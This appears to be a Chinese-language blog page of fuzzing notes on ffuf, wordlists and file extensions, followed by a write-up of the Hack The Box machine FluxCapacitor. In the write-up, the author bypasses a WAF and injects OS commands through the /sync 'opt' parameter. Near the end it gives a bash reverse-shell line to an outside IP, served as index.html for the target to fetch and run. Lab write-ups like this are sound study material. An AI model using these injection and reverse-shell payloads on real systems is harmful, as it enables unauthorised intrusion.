Fuzzer
我最常用的就是 ffuf 了,不過還有很多選擇。
- wenum
- gobuster
- feroxbuster
- …
心得
記得加上 Cookie!
不要懷疑,真的會忘記,如果沒有掃到東西,或是掃到一堆 302,務必務必務必先檢查有沒有加上 Cookie …
副檔名
- PHP:
-e .php,.txt,.bak,.old,.zip - IIS:
-e .aspx,.asp,.config - Java:
-e .jsp,.do,.action
辭典
原本我掃目錄都是用 raft-medium-words-lowercase.txt,直到我在 Nineveh 碰壁,用 DirBuster-2007_directory-list-lowercase-2.3-medium.txt 才掃出來 secure_notes,決定來學一下使用辭典檔的精隨。
以下是一些常用的辭典:
Discovery/Web-Content/common.txt:拿來掃目錄、子網域、虛擬主機啥的都可以Discovery/Web-Content/big.txt:比common更多更雜的辭典Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt&Discovery/Web-Content/raft-large-directories.txt:聚焦在目錄名稱的辭典
不過我發現 SecLists 的 Web-Content 辭典可以分成三類:
*-directories-*:真實世界看到的目錄*-files-*:真實世界看到的檔名*-words-*:會把secure_notes拆成secure和notes,用的話要注意
反正這東西就各取所需吧!
靶機
FluxCapacitor
這是一台有 WAF 的靶機,打完可以學到很多枚舉(通靈)技巧。進入 http://fluxcapacitor.htb:

用 ffuf 掃了下目錄和檔案:
$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-files.txt -u 'http://fluxcapacitor.htb/FUZZ'
...<SNIP>...
index.html [Status: 200, Size: 395, Words: 28, Lines: 17, Duration: 61ms]
. [Status: 301, Size: 191, Words: 6, Lines: 8, Duration: 61ms]
sync_menu.php [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 66ms]
sync.php [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 68ms]
sync_session.php [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 70ms]
$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u 'http://fluxcapacitor.htb/FUZZ'
...<SNIP>...
sync [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 76ms]
synchro [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 67ms]
synchronize_db [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 66ms]
原本還想說「哪個服務這麼酷,有那麼多 sync 的東東」,但上網查沒查到什麼,後來才意識到可能是 WAF 把 sync.* 都設為 Forbidden 了。
在 /<unknown> 下會顯示 Not Found:

只要是帶有 sync 的前綴全部都會回傳 403:

但是很奇怪,明明是 403,但在 ffuf 得到的卻是 200。透過 ffuf -w /tmp/sync.txt -u 'http://fluxcapacitor.htb/FUZZ' -x http://localhost:8080 在 Caido 下觀察,發現會回傳當下系統時間:

推測是 date 指令,因此可能存在 OS Command Injection:
$ date +%Y%m%dT%H:%M:%S
20260921T03:52:46
推測或許會有其它方法可以和 date 互動,第一個我想到 GET 參數:
$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://fluxcapacitor.htb/sync?FUZZ=value' -fs 19
...<SNIP>...
:: Progress: [6453/6453] :: Job [1/1] :: 194 req/sec :: Duration: [0:00:28] :: Errors: 0 ::
結果沒有找到東西,但是換成 test 卻掃的出來:
$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://fluxcapacitor.htb/sync?FUZZ=test' -fs 19
...<SNIP>...
opt [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 74ms]
:: Progress: [6453/6453] :: Job [1/1] :: 193 req/sec :: Duration: [0:00:19] :: Errors: 0 ::

猜測應該是把 opt 的值丟給 date 當作額外的參數,掃看看特殊字元:
$ ffuf -w '/usr/share/SecLists/Fuzzing/special-chars.txt' -u 'http://fluxcapacitor.htb/sync?opt=FUZZ'
...<SNIP>...
* [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 69ms]
{ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 69ms]
- [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
] [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
~ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
@ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
> [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 125ms]
= [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 137ms]
! [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 75ms]
) [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 137ms]
} [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 137ms]
. [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 137ms]
\ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 79ms]
( [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 79ms]
_ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 78ms]
: [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 79ms]
, [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 84ms]
< [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 84ms]
? [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 84ms]
; [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 84ms]
' [Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 92ms]
$ [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 92ms]
& [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 92ms]
% [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 92ms]
^ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 92ms]
/ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 96ms]
` [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 96ms]
# [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 96ms]
| [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 96ms]
" [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
+ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 187ms]
[ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 187ms]
:: Progress: [32/32] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
稍微整理一下:
( [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 83ms]
) [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 87ms]
$ [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 87ms]
; [Status: 403, Size: 175, Words: 4, Lines: 8, Duration: 91ms]
= [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 71ms]
~ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 72ms]
@ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
! [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
& [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 125ms]
[ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 136ms]
^ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 136ms]
{ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 136ms]
% [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 145ms]
+ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 83ms]
/ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 83ms]
] [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 83ms]
- [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 87ms]
? [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 87ms]
. [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 92ms]
# [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 92ms]
} [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 92ms]
, [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 98ms]
: [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 98ms]
\ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 124ms]
_ [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 124ms]
" [Status: 200, Size: 19, Words: 1, Lines: 3, Duration: 186ms]
' [Status: 200, Size: 1, Words: 1, Lines: 2, Duration: 186ms]
字元 ' 特別顯眼呀,感覺他就是 injection 的突破口。接著用 python3 製作所有字元:
import string
print(string.printable)不斷嘗試可能的 injection payload,最後發現 ' id' 成功了:
$ ffuf -w '/usr/share/wordlists/chars.txt' -u "http://fluxcapacitor.htb/sync?opt='FUZZid'"
...<SNIP>...
[Status: 200, Size: 98, Words: 8, Lines: 4, Duration: 81ms]

是說這個拿 Shell 的過程也蠻酷的,過程你不用試,你只要知道他媽的他毛一堆就對了。
把我們要傳送的檔案改成 index.html,curl 或 wget 就會把他當作 Main Page:
$ mv test index.html
$ cat index.html
#!/bin/bash
bash -i >& /dev/tcp/10.10.17.56/6061 0>&1

把他抓下來執行就能拿到 Reverse Shell 了:



